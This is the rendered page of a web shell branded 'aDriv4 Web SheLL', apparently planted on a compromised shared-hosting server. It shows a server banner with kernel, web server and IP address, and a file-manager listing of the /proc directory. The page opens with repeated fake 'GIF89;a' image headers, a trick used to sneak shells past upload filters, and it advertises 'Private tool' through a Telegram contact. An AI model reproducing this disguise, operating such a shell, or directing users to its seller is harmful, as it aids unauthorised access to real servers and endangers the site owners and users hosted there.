GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server120.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.116.63
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-06 07:40:19
.. dir - root/root 0755 2025-08-05 05:32:06
1457728 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:15:03
1862670 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:14:47
1862679 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:15:03
1879865 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:15:47
1879913 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:15:48
1879981 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:15:49
1884755 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:17:15
1884793 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:17:15
1885724 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:17:27
1887800 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:18:02
1889040 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:18:21
1889041 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:18:22
1889102 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:18:23
acpi dir - root/root 0555 2024-05-06 11:41:57
bus dir - root/root 0555 2024-05-06 11:42:06
driver dir - root/root 0555 2026-01-01 10:18:03
fs dir - root/root 0555 2024-05-06 11:42:06
irq dir - root/root 0555 2024-05-06 11:42:02
kcare dir - root/root 0555 2026-01-01 10:18:03
lve dir - root/root 0555 2026-01-01 10:16:35
net link - lesshgjr/lesshgjr 0555 2026-01-01 10:18:17
scsi dir - root/root 0555 2024-05-06 11:42:06
self link - lesshgjr/lesshgjr 0555 2026-01-01 10:15:49
sys dir - root/root 0555 2024-05-06 07:41:50
sysvipc dir - root/root 0555 2026-01-01 10:18:03
thread-self link - lesshgjr/lesshgjr 0555 2026-01-01 10:16:26
tty dir - root/root 0555 2026-01-01 10:18:03
buddyinfo 0 B root/root 0444 2026-01-01 10:18:03
cgroups 0 B root/root 0444 2026-01-01 10:18:03
cmdline text/plain 0 B root/root 0444 2026-01-01 10:18:01
consoles 0 B root/root 0444 2026-01-01 10:18:03
cpuinfo text/plain 0 B root/root 0444 2026-01-01 10:18:02
crypto 0 B root/root 0444 2026-01-01 10:18:03
devices 0 B root/root 0444 2026-01-01 10:18:03
diskstats 0 B root/root 0444 2026-01-01 10:18:00
dma 0 B root/root 0444 2026-01-01 10:18:03
execdomains 0 B root/root 0444 2026-01-01 10:18:03
fb 0 B root/root 0444 2026-01-01 10:18:03
filesystems text/plain 0 B root/root 0444 2026-01-01 10:18:00
interrupts 0 B root/root 0444 2026-01-01 10:18:03
iomem 0 B root/root 0444 2026-01-01 10:18:03
ioports 0 B root/root 0444 2026-01-01 10:18:03
kallsyms 0 B root/root 0444 2024-05-06 11:42:06
kcore 128 TB root/root 0400 2024-05-06 11:41:57
key-users 0 B root/root 0444 2026-01-01 10:18:03
keys 0 B root/root 0444 2026-01-01 10:18:03
kmsg 0 B root/root 0400 2026-01-01 10:18:03
kpagecgroup 0 B root/root 0400 2026-01-01 10:18:03
kpagecount 0 B root/root 0400 2026-01-01 10:18:03
kpageflags 0 B root/root 0400 2026-01-01 10:18:03
loadavg text/plain 0 B root/root 0444 2026-01-01 10:18:02
locks 0 B root/root 0444 2026-01-01 10:18:03
mdstat 0 B root/root 0444 2026-01-01 10:18:03
meminfo text/plain 0 B root/root 0444 2026-01-01 10:18:03
misc 0 B root/root 0444 2026-01-01 10:18:03
modules 0 B root/root 0444 2026-01-01 10:18:03
mounts text/plain 0 B lesshgjr/lesshgjr 0444 2026-01-01 10:18:17
mtrr 0 B root/root 0644 2024-05-06 11:42:06
pagetypeinfo 0 B root/root 0400 2026-01-01 10:18:03
partitions 0 B root/root 0444 2026-01-01 10:18:03
sched_debug 0 B root/root 0444 2026-01-01 10:18:03
schedstat 0 B root/root 0444 2026-01-01 10:18:03
slabinfo 0 B root/root 0400 2026-01-01 10:18:03
softirqs 0 B root/root 0444 2026-01-01 10:18:03
stat text/plain 0 B root/root 0444 2026-01-01 10:16:35
swaps 0 B root/root 0444 2024-05-06 07:41:51
sysrq-trigger 0 B root/root 0200 2024-05-06 11:42:06
timer_list 0 B root/root 0400 2026-01-01 10:18:03
uptime text/plain 0 B root/root 0444 2026-01-01 10:18:03
version text/plain 0 B root/root 0444 2026-01-01 10:18:03
vmallocinfo 0 B root/root 0400 2026-01-01 10:18:03
vmstat 0 B root/root 0444 2026-01-01 10:18:03
zoneinfo 0 B root/root 0444 2026-01-01 10:18:03
© aDriv4